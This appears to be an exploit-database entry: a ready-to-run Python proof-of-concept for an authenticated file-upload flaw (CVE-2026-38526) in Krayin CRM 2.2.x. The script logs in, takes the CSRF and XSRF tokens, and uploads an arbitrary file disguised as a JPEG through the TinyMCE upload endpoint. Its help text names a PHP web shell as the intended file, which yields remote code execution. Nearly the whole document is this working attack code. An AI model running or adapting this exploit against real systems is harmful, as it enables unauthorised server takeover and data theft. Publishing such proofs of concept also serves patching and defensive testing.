Krayin CRM v2.2.x – Authenticated Remote Code Execution
# Exploit Title: Krayin CRM v2.2.x - Authenticated Remote Code Execution # Date: 07/05/2026 # Exploit Author: Diamorphine # Vendor Homepage: https://krayincrm.com # Software Link: https://github.com/krayin/laravel-crm # Version: 2.2.x # Tested on: Debian # CVE : CVE-2026-38526 import asyncio import httpx from urllib.parse import * import argparse from bs4 import BeautifulSoup import json async def main(url, user, password, file): async with httpx.AsyncClient(verify=False) as client: url_login = urljoin(url, "/admin/login") upload_url = urljoin(url, "/admin/tinymce/upload") get_tokens = await client.get(url=url_login) soup = BeautifulSoup(get_tokens.text, 'html.parser') _token = soup.find('input').get('value') login_data = { "_token": _token, "email": user, "password": password } login_r = await client.post(url=url_login, data=login_data) xsrf_token = login_r.cookies.get("XSRF-TOKEN") headers = { "X-XSRF-TOKEN": unquote(xsrf_token) } with open(file, 'rb') as o_file: r = await client.post(url=upload_url, files={"file": (o_file.name, o_file, "image/jpeg")}, headers=headers) if r.status_code == 200: exploit_url = r.json().get('location') print(f'[+] File uploaded successfully.\nPath to file: {exploit_url}') else: print('[-] File not uploaded.') parser = argparse.ArgumentParser(description="Exploit for CVE-2026-38526, authenticated file upload.") parser.add_argument('-t', '--target', required=True, help="Target url. E.g. http://127.0.0.1") parser.add_argument('-u', '--user', required=True, help="Email.") parser.add_argument('-p', '--password', required=True, help="Password.") parser.add_argument('-f', '--file', required=True, help="File to upload (/home/user/shell.php).") args = parser.parse_args() if __name__ == '__main__': asyncio.run(main(args.target, args.user, args.password, args.file)) |